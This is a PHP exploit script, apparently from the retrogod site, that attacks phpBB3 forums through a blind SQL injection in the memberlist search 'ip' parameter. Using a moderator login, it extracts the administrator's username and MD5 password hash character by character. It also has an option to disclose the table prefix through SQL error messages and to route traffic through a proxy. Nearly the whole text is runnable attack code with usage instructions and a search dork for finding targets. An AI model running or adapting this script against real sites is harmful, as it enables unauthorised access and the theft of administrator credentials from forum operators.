#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\n";=0D 
echo "site: http://retrogod.altervista.org\n";=0D 
echo "dork, version specific: \"Powered by phpBB * 2002, 2006 phpBB Group\"\n\n";=0D
=0D
/*=0D
works regardless of php.ini settings=0D
you need a global moderator account with "simple moderator" role=0D
*/=0D
=0D
if ($argc<5) {=0D
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\n";=0D
echo "host:      target server (ip/hostname)\n";=0D
echo "path:      path to phpbb3\n";=0D
echo "user/pass: u need a valid user account with global moderator rights\n";=0D
echo "Options:\n";=0D
echo "   -T[prefix]   specify a table prefix different from default (phpbb_)\n";=0D
echo "   -p[port]:    specify a port other than 80\n";=0D
echo "   -P[ip:port]: specify a proxy\n";=0D
echo "   -u[number]:  specify a user id other than 2 (admin)\n";=0D
echo "   -x:          disclose table prefix through error messages\n";=0D
echo "Example:\r\n";=0D
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u\r\n";=0D
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7\n";=0D
die;=0D
}=0D
=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
   $c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
   }=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$user=$argv[3];=0D
$pass=$argv[4];=0D
$port=80;=0D
$prefix="PHPBB_";=0D
$user_id="2";//admin=0D
$discl=0;=0D
$proxy="";=0D
for ($i=3; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
if ($temp=="-T")=0D
{=0D
  $prefix=str_replace("-T","",$argv[$i]);=0D
}=0D
if ($temp=="-u")=0D
{=0D
  $user_id=str_replace("-u","",$argv[$i]);=0D
}=0D
if ($temp=="-x")=0D
{=0D
  $discl=1;=0D
}=0D
}=0D
=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
$data="username=".urlencode($user);=0D
$data.="&password=".urlencode($pass);=0D
$data.="&redirect=index.php";=0D
$data.="&login=Login";=0D
$packet="POST ".$p."ucp.php?mode=login HTTP/1.0\r\n";=0D
$packet.="Referer: http://$host$path/ucp.php?mode=login\r\n";=0D 
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
$packet.="Accept-Encoding: text/plain\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
$cookie="";=0D
$temp=explode("Set-Cookie: ",$html);=0D
for ($i=1; $i<=count($temp)-1; $i++)=0D
{=0D
 $temp2=explode(" ",$temp[$i]);=0D
 $cookie.=" ".$temp2[0];=0D
}=0D
if (eregi("_u=1;",$cookie))=0D
{=0D
//echo $html."\n";//debug=0D
//die("Unable to login...");=0D
}=0D
echo "cookie -> ".$cookie."\r\n";=0D
if ($discl)=0D
{=0D
$sql="'suntzuuuuu";=0D
echo "sql -> ".$sql."\n";=0D
$sql=urlencode(strtoupper($sql));=0D
$data="username=";=0D
$data.="&icq=";=0D
$data.="&email=";=0D
$data.="&aim=";=0D
$data.="&joined_select=lt";=0D
$data.="&joined=";=0D
$data.="&yahoo=";=0D
$data.="&active_select=lt";=0D
$data.="&active=";=0D
$data.="&msn=";=0D
$data.="&count_select=eq";=0D
$data.="&count=";=0D
$data.="&jabber=";=0D
$data.="&sk=c";=0D
$data.="&sd=a";=0D
$data.="&ip=".$sql;=0D
$data.="&search_group_id=0";=0D
$data.="&submit=Search";=0D
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";=0D
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n";=0D
$packet.="Connection: Close\r\n";=0D
$packet.="Cookie: ".$cookie." \r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
if (strstr($html,"You have an error in your SQL syntax"))=0D
{=0D
$temp=explode("posts",$html);=0D
$temp2=explode(" ",$temp[0]);=0D
$prefix=strtoupper($temp2[count($temp2)-1]);=0D
echo "prefix -> ".$prefix."\n";sleep(2);=0D
}=0D
}=0D
=0D
$md5s[0]=0;//null=0D
$md5s=array_merge($md5s,range(48,57)); //numbers=0D
$md5s=array_merge($md5s,range(97,102));//a-f letters=0D
//print_r(array_values($md5s));=0D
$j=1;$password="";=0D
while (!strstr($password,chr(0)))=0D
{=0D
for ($i=0; $i<=255; $i++)=0D
{=0D
if (in_array($i,$md5s))=0D
{=0D
  $sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";=0D
  echo "sql -> ".$sql."\n";=0D
  $sql=urlencode(strtoupper($sql));=0D
  $data="username=";=0D
  $data.="&icq=";=0D
  $data.="&email=";=0D
  $data.="&aim=";=0D
  $data.="&joined_select=lt";=0D
  $data.="&joined=";=0D
  $data.="&yahoo=";=0D
  $data.="&active_select=lt";=0D
  $data.="&active=";=0D
  $data.="&msn=";=0D
  $data.="&count_select=eq";=0D
  $data.="&count=";=0D
  $data.="&jabber=";=0D
  $data.="&sk=c";=0D
  $data.="&sd=a";=0D
  $data.="&ip=".$sql;=0D
  $data.="&search_group_id=0";=0D
  $data.="&submit=Search";=0D
  $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";=0D
  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Content-Length: ".strlen($data)."\r\n";=0D
  $packet.="Connection: Close\r\n";=0D
  $packet.="Cookie: ".$cookie." \r\n\r\n";=0D
  $packet.=$data;=0D
  sendpacketii($packet);=0D
  if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}=0D
  }=0D
  if ($i==255) {die("Exploit failed...");}=0D
}=0D
$j++;=0D
}=0D
=0D
$j=1;$admin="";=0D
while (!strstr($admin,chr(0)))=0D
{=0D
for ($i=0; $i<=255; $i++)=0D
{=0D
  $sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";=0D
  echo "sql -> ".$sql."\n";=0D
  $sql=urlencode(strtoupper($sql));=0D
  $data="username=";=0D
  $data.="&icq=";=0D
  $data.="&email=";=0D
  $data.="&aim=";=0D
  $data.="&joined_select=lt";=0D
  $data.="&joined=";=0D
  $data.="&yahoo=";=0D
  $data.="&active_select=lt";=0D
  $data.="&active=";=0D
  $data.="&msn=";=0D
  $data.="&count_select=eq";=0D
  $data.="&count=";=0D
  $data.="&jabber=";=0D
  $data.="&sk=c";=0D
  $data.="&sd=a";=0D
  $data.="&ip=".$sql;=0D
  $data.="&search_group_id=0";=0D
  $data.="&submit=Search";=0D
  $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";=0D
  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Content-Length: ".strlen($data)."\r\n";=0D
  $packet.="Connection: Close\r\n";=0D
  $packet.="Cookie: ".$cookie." \r\n\r\n";=0D
  $packet.=$data;=0D
  sendpacketii($packet);=0D
  if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]\r\n";sleep(2);break;}=0D
  }=0D
  if ($i==255) {die("Exploit failed...");}=0D
$j++;=0D
}=0D
echo "--------------------------------------------------------------------\r\n";=0D
echo "admin          -> ".$admin."\r\n";=0D
echo "password (md5) -> ".$password."\r\n";=0D
echo "--------------------------------------------------------------------\r\n";=0D
=0D
function is_hash($hash)=0D
{=0D
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}=0D
 else {return false;}=0D
}=0D
=0D
if (is_hash($password)) {echo "Exploit succeeded...";}=0D
else {echo "Exploit failed...";}=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/phpbb3_sql.html=0D